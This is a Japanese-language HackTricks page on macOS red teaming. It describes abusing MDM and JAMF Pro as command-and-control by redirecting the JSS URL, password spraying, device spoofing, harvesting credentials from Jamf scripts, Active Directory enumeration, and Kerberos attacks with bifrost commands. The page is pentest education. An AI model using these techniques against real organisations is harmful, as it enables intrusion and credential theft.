macOS Red Teaming

Reading time: 14 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

MDMの悪用

  • JAMF Pro: jamf checkJSSConnection
  • Kandji

管理プラットフォームにアクセスするために管理者資格情報を侵害することができれば、マシンにマルウェアを配布することですべてのコンピュータを潜在的に侵害することができます。

MacOS環境でのレッドチーミングには、MDMの動作についての理解が非常に推奨されます:

macOS MDM

MDMをC2として使用する

MDMは、プロファイルのインストール、クエリまたは削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更を行う権限を持っています...

独自のMDMを運営するには、ベンダーによって署名されたCSRが必要で、これをhttps://mdmcert.download/で取得しようとすることができます。Appleデバイス用の独自のMDMを運営するには、MicroMDMを使用できます。

ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントによって署名されている必要があります... しかし、MDM登録時にデバイスはMDMのSSL証明書を信頼されたCAとして追加するため、今では何でも署名できます。

デバイスをMDMに登録するには、mobileconfigファイルをルートとしてインストールする必要があり、これはpkgファイルを介して配信できます(zipで圧縮し、Safariからダウンロードすると解凍されます)。

Mythic agent Orthrusはこの技術を使用しています。

JAMF PROの悪用

JAMFはカスタムスクリプト(システム管理者によって開発されたスクリプト)、ネイティブペイロード(ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...)、およびMDM(デバイスの構成、デバイス証明書...)を実行できます。

JAMF自己登録

https://<company-name>.jamfcloud.com/enroll/のようなページにアクセスして、自己登録が有効かどうかを確認します。有効な場合、アクセスするための資格情報を要求されるかもしれません。

スクリプトJamfSniper.pyを使用してパスワードスプレー攻撃を実行できます。

さらに、適切な資格情報を見つけた後、次のフォームを使用して他のユーザー名をブルートフォース攻撃できるかもしれません:

JAMFデバイス認証

jamfバイナリには、発見時に共有されていたキーチェーンを開くための秘密が含まれており、それは**jk23ucnq91jfu9ajでした。
さらに、jamfは
/Library/LaunchAgents/com.jamf.management.agent.plistLaunchDaemonとして持続**します。

JAMFデバイスタケオーバー

JSS(Jamf Software Server)URLは、**jamfが使用する/Library/Preferences/com.jamfsoftware.jamf.plist**にあります。
このファイルには基本的にURLが含まれています:

bash
plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist

[...]
<key>is_virtual_machine</key>
<false/>
<key>jss_url</key>
<string>https://subdomain-company.jamfcloud.com/</string>
<key>last_management_framework_change_id</key>
<integer>4</integer>
[...]

攻撃者は、インストール時にこのファイルを上書きする悪意のあるパッケージ(pkg)をドロップし、TyphonエージェントからのMythic C2リスナーへのURLを設定することで、JAMFをC2として悪用できるようになります。

bash
# After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0

# TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2

JAMF なりすまし

デバイスと JMF の間の 通信をなりすます には、以下が必要です:

  • デバイスの UUID: ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'
  • デバイス証明書を含む JAMF キーチェーン: /Library/Application\ Support/Jamf/JAMF.keychain

この情報をもとに、盗まれたハードウェア UUID を持ち、SIP を無効にした VM を作成し、JAMF キーチェーンをドロップし、Jamf エージェントをフックしてその情報を盗みます。

秘密の盗難

a

また、管理者が Jamf 経由で実行したい カスタムスクリプト のために、/Library/Application Support/Jamf/tmp/ の場所を監視することもできます。これらのスクリプトは ここに配置され、実行され、削除されます。これらのスクリプトには 資格情報 が含まれている可能性があります。

ただし、資格情報 はこれらのスクリプトに パラメータ として渡される可能性があるため、ps aux | grep -i jamf を監視する必要があります(ルートでなくても)。

スクリプト JamfExplorer.py は、新しいファイルが追加されるのをリッスンし、新しいプロセス引数を監視できます。

macOS リモートアクセス

また、MacOS の "特別な" ネットワーク プロトコル について:

macOS Network Services & Protocols

Active Directory

場合によっては、MacOS コンピュータが AD に接続されていることがあります。このシナリオでは、慣れているようにアクティブディレクトリを 列挙 しようとするべきです。以下のページで ヘルプ を見つけてください:

389, 636, 3268, 3269 - Pentesting LDAP

Active Directory Methodology

88tcp/udp - Pentesting Kerberos

役立つ可能性のある ローカル MacOS ツールdscl です:

bash
dscl "/Active Directory/[Domain]/All Domains" ls /

また、ADを自動的に列挙し、Kerberosを操作するためにMacOS用に準備されたツールがあります:

  • Machound: MacHoundは、MacOSホスト上のActive Directory関係を収集および取り込むことを可能にするBloodhound監査ツールの拡張です。
  • Bifrost: Bifrostは、macOS上のHeimdal krb5 APIと対話するために設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、ターゲットに他のフレームワークやパッケージを必要とせずに、ネイティブAPIを使用してmacOSデバイス上のKerberosに関するセキュリティテストを改善することです。
  • Orchard: Active Directory列挙を行うためのJavaScript for Automation (JXA)ツールです。

ドメイン情報

bash
echo show com.apple.opendirectoryd.ActiveDirectory | scutil

Users

MacOSのユーザーには3種類があります:

  • ローカルユーザー — ローカルOpenDirectoryサービスによって管理されており、Active Directoryとは接続されていません。
  • ネットワークユーザー — 認証のためにDCサーバーへの接続が必要な揮発性のActive Directoryユーザーです。
  • モバイルユーザー — 認証情報とファイルのローカルバックアップを持つActive Directoryユーザーです。

ユーザーとグループに関するローカル情報は、フォルダー /var/db/dslocal/nodes/Default. に保存されています。
例えば、_mark_というユーザーに関する情報は /var/db/dslocal/nodes/Default/users/mark.plist に保存されており、_admin_というグループに関する情報は /var/db/dslocal/nodes/Default/groups/admin.plist にあります。

HasSessionおよびAdminToエッジを使用することに加えて、MacHoundはBloodhoundデータベースに3つの新しいエッジを追加します

  • CanSSH - ホストにSSH接続を許可されたエンティティ
  • CanVNC - ホストにVNC接続を許可されたエンティティ
  • CanAE - ホスト上でAppleEventスクリプトを実行することを許可されたエンティティ
bash
#User enumeration
dscl . ls /Users
dscl . read /Users/[username]
dscl "/Active Directory/TEST/All Domains" ls /Users
dscl "/Active Directory/TEST/All Domains" read /Users/[username]
dscacheutil -q user

#Computer enumeration
dscl "/Active Directory/TEST/All Domains" ls /Computers
dscl "/Active Directory/TEST/All Domains" read "/Computers/[compname]$"

#Group enumeration
dscl . ls /Groups
dscl . read "/Groups/[groupname]"
dscl "/Active Directory/TEST/All Domains" ls /Groups
dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]"

#Domain Information
dsconfigad -show

More info in https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/

Computer$ パスワード

Get passwords using:

bash
bifrost --action askhash --username [name] --password [password] --domain [domain]

Computer$ パスワードにシステムキーチェーン内でアクセスすることが可能です。

Over-Pass-The-Hash

特定のユーザーとサービスのためにTGTを取得します:

bash
bifrost --action asktgt --username [user] --domain [domain.com] \
--hash [hash] --enctype [enctype] --keytab [/path/to/keytab]

TGTが収集されると、次のコマンドで現在のセッションに注入することが可能です:

bash
bifrost --action asktgt --username test_lab_admin \
--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \
--enctype aes256 --domain test.lab.local

Kerberoasting

bash
bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype]

取得したサービスチケットを使用して、他のコンピュータの共有にアクセスを試みることができます:

bash
smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point

キーチェーンへのアクセス

キーチェーンには、プロンプトを生成せずにアクセスされた場合、レッドチーム演習を進めるのに役立つ可能性のある機密情報が含まれている可能性が高いです:

macOS Keychain

外部サービス

MacOSのレッドチーミングは、通常のWindowsのレッドチーミングとは異なり、MacOSは通常、いくつかの外部プラットフォームと直接統合されています。 MacOSの一般的な構成は、OneLoginで同期された資格情報を使用してコンピュータにアクセスし、OneLoginを介していくつかの外部サービス(github、awsなど)にアクセスすることです。

その他のレッドチーム技術

Safari

Safariでファイルがダウンロードされると、それが「安全な」ファイルであれば、自動的に開かれます。 例えば、zipファイルをダウンロードすると、自動的に解凍されます:

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする